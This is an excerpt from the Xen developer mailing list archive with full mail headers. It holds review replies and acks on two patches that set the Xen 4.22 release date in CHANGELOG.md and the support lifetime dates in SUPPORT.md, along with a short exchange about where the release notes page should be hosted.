On 7/29/26 6:25 PM, Roger Pau MonnÃ© wrote:
> On Wed, Jul 29, 2026 at 05:15:29PM +0100, Andrew Cooper wrote:
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> ---
>> CC: Anthony PERARD <anthony.perard@vates.tech>
>> CC: Michal Orzel <michal.orzel@amd.com>
>> CC: Jan Beulich <jbeulich@suse.com>
>> CC: Julien Grall <julien@xen.org>
>> CC: Roger Pau MonnÃ© <roger@xenproject.org>
>> CC: Stefano Stabellini <sstabellini@kernel.org>
>> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>>
>> For 4.22 only.
>> ---
>>   SUPPORT.md | 10 +++++-----
>>   1 file changed, 5 insertions(+), 5 deletions(-)
>>
>> diff --git a/SUPPORT.md b/SUPPORT.md
>> index 7c42de4c1602..b945fc83afde 100644
>> --- a/SUPPORT.md
>> +++ b/SUPPORT.md
>> @@ -9,13 +9,13 @@ for the definitions of the support status levels etc.
>>   
>>   # Release Support
>>   
>> -    Xen-Version: 4.22-rc
>> -    Initial-Release: n/a
>> -    Supported-Until: TBD
>> -    Security-Support-Until: Unreleased - not yet security-supported
>> +    Xen-Version: 4.22
>> +    Initial-Release: 2026-07-30
>> +    Supported-Until: 2029-07-30
>> +    Security-Support-Until: 2031-07-30
>>   
>>   Release Notes
>> -: <a href="https://wiki.xenproject.org/wiki/Xen_Project_X.YY_Release_Notes">RN</a>
>> +: <a href="https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes">RN</a>
> 
> Will this wiki page get created?

I planed to create for this one release the page tomorrow morning.

   It's still not there, and given we
> are moving out of wiki usage, we might want to put the release notes
> somewhere else?

If it was such decision then lets do it for the last time and decide 
where to put release notes for the next release separately.

> 
> This is likely for Cody/oleksii to decide, since I assume they are the
> ones that create the wiki page.

I created this page before as it was metnioned here in SUPPORT.md so I 
thought that it should be created.

Thanks.

~ Oleksii




From xen-devel-bounces@lists.xenproject.org Wed Jul 29 18:41:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 18:41:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376581.1623251 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp9Df-0007Tn-9P; Wed, 29 Jul 2026 18:41:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376581.1623251; Wed, 29 Jul 2026 18:41:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp9Df-0007Tg-6i; Wed, 29 Jul 2026 18:41:31 +0000
Received: by outflank-mailman (input) for mailman id 1376581;
 Wed, 29 Jul 2026 18:41:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp9Dd-0007Ta-H4
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:41:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp9Dc-006eL3-II
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 20:41:28 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a4915-2eae-0a2a0a5409dd-0a2a4501a6ba-46
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:41:28 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a4958-5984-0a2a45010019-d155dd33c5d1-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:41:28 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47640541585so1004787f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:41:28 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4976bd7bab1sm72339775e9.13.2026.07.29.11.41.26
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 11:41:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785350488; x=1785955288; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=u+HrQhJ0fyKm/rHlqD13wNcFAAxZUfw1+gdNCsPTc0M=;
        b=OZHTSDT0A1g86TLTrv61OTRCla8zpOncNVUlqnK3gfo4e+16uF1ArcfEReEu9RV5Bs
         rUV+NWT95TfobNX4XCQ1nvOO9lx3ETFg8mHYaAY3dNcc24/SZuMI27+q9uEaOd/mfqhh
         47Zv0/ynARo//mnvDzfViGk5HT3yXtBQk0i5yo//He5X3+Wr7q0Rl1BKGJmafcwX3+UK
         dDONpV6i9US2mMcYwr10HlFFuSHdFbinvVD0eCtFKbUf07+dwRGweJePNx1O7Rxiz137
         Xo7VO+hXbJnQFifk+uLZ2saqUtlUKJCHCSRSWXIvjM8rP84tHxKyO7uW8CxzS05wulU7
         JSCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785350488; x=1785955288;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=u+HrQhJ0fyKm/rHlqD13wNcFAAxZUfw1+gdNCsPTc0M=;
        b=fzC4uhLsasH2+mKN1Dkh7yKx0tnzcUUw6j0SSjWw7t+FfG7huDHDXi23HXG7il1zYC
         Rm0T1vQaW93XTw44s+KXUE0AcuqZ3iW51QxULvN3SMoxTEgOg0bqIHtiiToR8d69LDsq
         ktgWF3iH5bGpO48e2nuPx1SLg6VIFWwX/OS9Ojl2t5e4dSIpD6JZQ9p7Dwuspa/uXmbF
         hvuFhO6JM3JoVMgCzwTLZCTw5tFSbyCJHDDR5kDYb2T1Ewj1U8HStNCRiiBrAkguvC2q
         29UHfRxHlEgbi1UQN3ZO3VD+0+ETEVIfA8Ynt3T7hKa9vQd4rrJVf4Rt9DKcDON0pgEU
         htvQ==
X-Forwarded-Encrypted: i=1; AHgh+RqF6kG4Vhhi4Nbs0MDeVDs/BY1ILgmX0w9xyWZ2vscNFmnGmPii6/gUtwsP5A3C/QfpOnh+xtFBv1Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YybqmWiRf32UoFAhD9E9lzRP/Xgw/HHWUxo5o92SW4uGrbr2YgK
	4LIwB1WZ0hkmDEEAw/YljIOVgoSk7iWMA6X0iDKn5IZ81o6MKIWd0iWV
X-Gm-Gg: AR+sD10aRDINloJfUbnRfbsmStTKwPBOoPiLQ9FWiX/JjQaapMy6k3RyGpbtAC1z/2y
	S7FQWnVsWbqwh1RB2CQzm1qwr1f6d7Kvs9va2yRIwsjvO6ALlFveylDQQvNOTTXpn1Q72+IpGZO
	g2GxDr+V3sAIAUteW28Smh4LpJAuuk8A7CLvrNrCPV+nmtHUGkQzL1y/CyEieqz+0NLq/cBlb1o
	8fYDz0kKRsN58ky2tY5T9gJBtPCyG5vAhCyV8TZ8rteIeD/IV/zSCncfmMXWmJBLKz/NNTzNnN/
	q1AfOf4Nye63F2o/Z3QgtGTx/SgF96DCrNcIcoPkD7SHywMstH4dUsIHX+9YaHGrIjusEejhiBe
	XzRLCbO7KG6xhFVJmNoqvFBa34MUtidEGMVgryf6f97fzyQ9RrUDxlm03AnWrj4h2Ygcyc5dpax
	a1+xAYNjhaqR3Xgp1zSgv1y7ElTSoMajt56duHeCi4sQ4KKsuFEh5JeOiV7GAaoCTMfXvEg7Uqu
	KqAY+2iUaZoYvNE09RQm4UPtR16O+sOz/SnzL3xTGP/+lSXDN546w==
X-Received: by 2002:a05:600c:1d16:b0:495:6022:5a20 with SMTP id 5b1f17b1804b1-496c657f4c9mr73881635e9.33.1785350487982;
        Wed, 29 Jul 2026 11:41:27 -0700 (PDT)
Message-ID: <9520f870-ae7f-4024-9682-12857b4b8275@gmail.com>
Date: Wed, 29 Jul 2026 20:41:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] SUPPOT: Define support lifetime
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Stefano Stabellini <sstabellini@kernel.org>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
 <20260729161529.164017-3-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260729161529.164017-3-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1785350488-BDA7E757-A15AEDE1/10/73395122804
X-purgate-type: spam
X-purgate-size: 1457



On 7/29/26 6:15 PM, Andrew Cooper wrote:
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Anthony PERARD <anthony.perard@vates.tech>
> CC: Michal Orzel <michal.orzel@amd.com>
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Julien Grall <julien@xen.org>
> CC: Roger Pau MonnÃ© <roger@xenproject.org>
> CC: Stefano Stabellini <sstabellini@kernel.org>
> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> For 4.22 only.
> ---
>   SUPPORT.md | 10 +++++-----
>   1 file changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/SUPPORT.md b/SUPPORT.md
> index 7c42de4c1602..b945fc83afde 100644
> --- a/SUPPORT.md
> +++ b/SUPPORT.md
> @@ -9,13 +9,13 @@ for the definitions of the support status levels etc.
>   
>   # Release Support
>   
> -    Xen-Version: 4.22-rc
> -    Initial-Release: n/a
> -    Supported-Until: TBD
> -    Security-Support-Until: Unreleased - not yet security-supported
> +    Xen-Version: 4.22
> +    Initial-Release: 2026-07-30
> +    Supported-Until: 2029-07-30
> +    Security-Support-Until: 2031-07-30
>   
>   Release Notes
> -: <a href="https://wiki.xenproject.org/wiki/Xen_Project_X.YY_Release_Notes">RN</a>
> +: <a href="https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes">RN</a>
>   
>   # Feature Support
>   

With fixing commit message s/SUPPOT/SUPPORT:
  Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 18:42:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 18:42:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376587.1623260 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp9Ee-0007vh-HO; Wed, 29 Jul 2026 18:42:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376587.1623260; Wed, 29 Jul 2026 18:42:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp9Ee-0007va-Ep; Wed, 29 Jul 2026 18:42:32 +0000
Received: by outflank-mailman (input) for mailman id 1376587;
 Wed, 29 Jul 2026 18:42:31 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp9Ed-0007vU-9V
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:42:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp9Ec-006eRY-Mg
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 20:42:30 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a498a-2eae-0a2a0a5409dd-0a2a4501a010-14
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:42:30 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a4996-5984-0a2a45010019-d155802bf117-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:42:30 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-49548aebcd8so9605225e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:42:30 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6ac44bcsm9742918f8f.11.2026.07.29.11.42.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 11:42:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785350550; x=1785955350; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=2sEYiUl//U3W46jmvJEBaeaZ6i8ztzCYa77aFex3tFc=;
        b=mcXjRFONDDwCgxCHvAmnm+nT2vQ1ZmqxfJeCkrRa2kbg0Qt/+gbvT9Us1ct3UHDF21
         X9XwBb28ZKbiCbKcgbjSAg7TfRZJYxa/C9cohunQlsFuFiQHrhz9CFY+r8UiAi14O8Pg
         +kyZTXytVsqzNBIV3xilXeB8xZxXdyn0rx97sbbEmYTw52lC+u/frTRZYjonVBjt906c
         lFnaATKF6Txd/9vEsX5AVxR6Z/X1J5VJRWIvuz7Gd+xfZ4nIGzsbXsi+axXn+PdqTmMY
         4W7E156SQ5cBZ8eBxHrS08BMfealGhvZ2eKE1hbcj2+ZhzaS2WR0VFjbwUNLkkNFzfRS
         BOXg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785350550; x=1785955350;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2sEYiUl//U3W46jmvJEBaeaZ6i8ztzCYa77aFex3tFc=;
        b=gmq6Blwh9ZZUSQaom2dhI+VOxVHNMZAuouDt2NfDqToUaapKeXYmAVdbv17yaYfroB
         0f5nrYX3qaqXIwlTY9sdfj1dBYd11Qr6GCqsv38eRpwur2cKuJtAcBuJKleRKcDjsgoD
         Hez+2Nw97Db+AKQ7ZwAB+LcW2HolPlB3eSW+KMJCcft1rNrbGAi6Pmb1Iq7+jnaNIPjq
         dOdteK0Oi5OqmXJ9IDZ731bIC/bNgEkOtfOqeP4mwbcEwfkMfGLpGMrk1lWwWZES50Eh
         NL9/Vv6kXiFVHGuvLa33bEfDvcB5JgJyPd7xHx4zis/79EeBr521sQRwSEQ0LfeUSEQT
         uFQA==
X-Forwarded-Encrypted: i=1; AHgh+Rr0jXHM2f4dgMlwFJAz0hze21wHbN/MCYSaHvAb7EcEN8+Qb5rZC3sXKfaRQZpuzibjpfcS5vJawxg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwUGcDdGMnb3g4uu1HCDF0PCFEItyzRy9C2nmnlSoqoDhrGQIIH
	dVN9ZKWnm0ke1wX8WJMkAOSn5OJUhwp4ChOui3tY8xBNWygDeCDsFHFL
X-Gm-Gg: AR+sD10i0v0sS//hkQbRs10vPbo1Dm3SWeqJ3Yjzlofb0H4kjyhgY4GJqESIDDzIDxL
	zzGjzSoIQBdGjV313CpiGS8CU/9el4RED7aUSuX9PSAZn4YEEo5SQ1SV7GPF/vsYLKTN81IWhuX
	kPpm4Fdvhw2vnVbYx/dLk5baymhc/FhHV1PNx2/Q0nzHtcu6nPsibRsz7Oeb4Scn7ZUUu+j/5s6
	kVntLnumZiVBjx2GQbiOtioKjYK9eUejQ7FfbJ/gnzDb8g8yg4lbirrVHK/giI1RKH8WFp8Z5av
	6fRAuYcavDZ6K+GfPIYMQUJzrXSGkabdpW17S05a+2x5R+UVMRtPJgUtYSxQEeiH6F7caBzhjYX
	cjmvX65cmxgmWNiB4SFRitO3IXnHQZS+7xliAlHb2QtUF3KYX8Zadw+dNRi9evNSECfoMUJV4qf
	KN4JzLkg4sZ8cVa7VfvY34j2eX8Q7znT7h17BXpUQxjg8Wah9fWGqgAmvUOlq84ET8GpBcQIwC8
	2nojLSEavu4gJw7wnwlAW2c2NRM51cRSIF/wHXgyag=
X-Received: by 2002:a05:600c:34c2:b0:493:aab3:c09c with SMTP id 5b1f17b1804b1-496c657ec5cmr91035135e9.28.1785350550024;
        Wed, 29 Jul 2026 11:42:30 -0700 (PDT)
Message-ID: <8a990f8a-c210-4100-b6fc-50a9c703ee70@gmail.com>
Date: Wed, 29 Jul 2026 20:42:28 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/2] CHANGELOG: Set release date for 4.22
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Stefano Stabellini <sstabellini@kernel.org>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
 <20260729161529.164017-2-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260729161529.164017-2-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1785350550-BCB45757-0CF94B63/10/73395122804
X-purgate-type: spam
X-purgate-size: 1328



On 7/29/26 6:15 PM, Andrew Cooper wrote:
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Anthony PERARD <anthony.perard@vates.tech>
> CC: Michal Orzel <michal.orzel@amd.com>
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Julien Grall <julien@xen.org>
> CC: Roger Pau MonnÃ© <roger@xenproject.org>
> CC: Stefano Stabellini <sstabellini@kernel.org>
> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> For staging and backport into 4.22
> ---
>   CHANGELOG.md | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/CHANGELOG.md b/CHANGELOG.md
> index 1435855615ae..6f879c97962d 100644
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -4,7 +4,7 @@ Notable changes to Xen will be documented in this file.
>   
>   The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>   
> -## [4.22.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
> +## [4.22.0](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - 2026-07-30
>   
>   ### Changed
>    - Users of XEN_DOMCTL_createdomain/xc_domain_create() must now pass DOMID_ANY

Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
(if it still makes sense considering that it is already in staging)

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 00:19:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 00:19:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376855.1623322 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpEUm-0000Sh-TZ; Thu, 30 Jul 2026 00:19:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376855.1623322; Thu, 30 Jul 2026 00:19:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpEUm-0000SZ-Or; Thu, 30 Jul 2026 00:19:32 +0000
Received: by outflank-mailman (input) for mailman id 1376855;
 Thu, 30 Jul 2026 00:19:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wpEUj-0000ST-HS
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 00:19:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpEUh-00BiD8-8n
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 02:19:27 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a6a984e-5cb7-0a2a0a5109dd-0a2a4506948a-30
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 02:19:26 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a6a988b-195a-0a2a45060019-94a38ff12cf0-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 02:19:24 +0200
Received: from pps.filterd (m0482515.ppops.net [127.0.0.1])
 by m0482515.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66TMgx1M3008687
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:19:23 -0700
Received: from sn4pr2101cu001.outbound.protection.outlook.com
 (mail-southcentralusazon11012045.outbound.protection.outlook.com
 [40.93.195.45])
 by m0482515.ppops.net (PPS) with ESMTPS id 4fqtjc8j8s-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:19:22 -0700 (PDT)
Received: from MW4PR04CA0363.namprd04.prod.outlook.com (2603:10b6:303:81::8)
 by BL3PR16MB4322.namprd16.prod.outlook.com (2603:10b6:208:33d::17) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 00:19:20 +0000
Received: from CO1PEPF00012E61.namprd05.prod.outlook.com
 (2603:10b6:303:81:cafe::19) by MW4PR04CA0363.outlook.office365.com
 (2603:10b6:303:81::8) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Thu,
 30 Jul 2026 00:19:19 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 CO1PEPF00012E61.mail.protection.outlook.com (10.167.249.70) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.8
 via Frontend Transport; Thu, 30 Jul 2026 00:19:18 +0000
Received: from pps.filterd (m0426318.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66TL7OIh1027609
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:19:18 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbk4nbfr-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:19:17 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id pEUUw8TZGERZKpEUVwOsSj; Thu, 30 Jul 2026 00:19:16 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=ppford; bh=sIEHNcXzFwhxwKUbaYsNjyDEF
	klQxVKPHFW+JOEsbd4=; b=YNEuuFZ4IiVpTk6RAidWQdCKMRXlDS5qBF0Izhh8q
	XeBw/k+St0CA2z17Jj2o/vXE0VGTcmx2wFMigbAFklnu0R+9eKRvhaYA036fYqVQ
	QFj2yBXlWh2KSudfshgpnhcNIf7gvxzXImOPTU6DLCcIdnaaGLVkrm+CI3o1m9I5
	ZsEemAaNQj7nKPKKRgH3G2U9yZdCHLHYo6V+RPhmaAXXWdDuctvP+BA+FH1ta7BR
	cMs2HOafi9xETxIWDZPuk+NuUkO4+g7OpEgAtdow0nBiMNCkzkTASqUvlr17Yx4I
	s8KfUyEyajuzSC3Yn4ttkZNOXoW07ZFqVIYnN5QVE/Bnw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
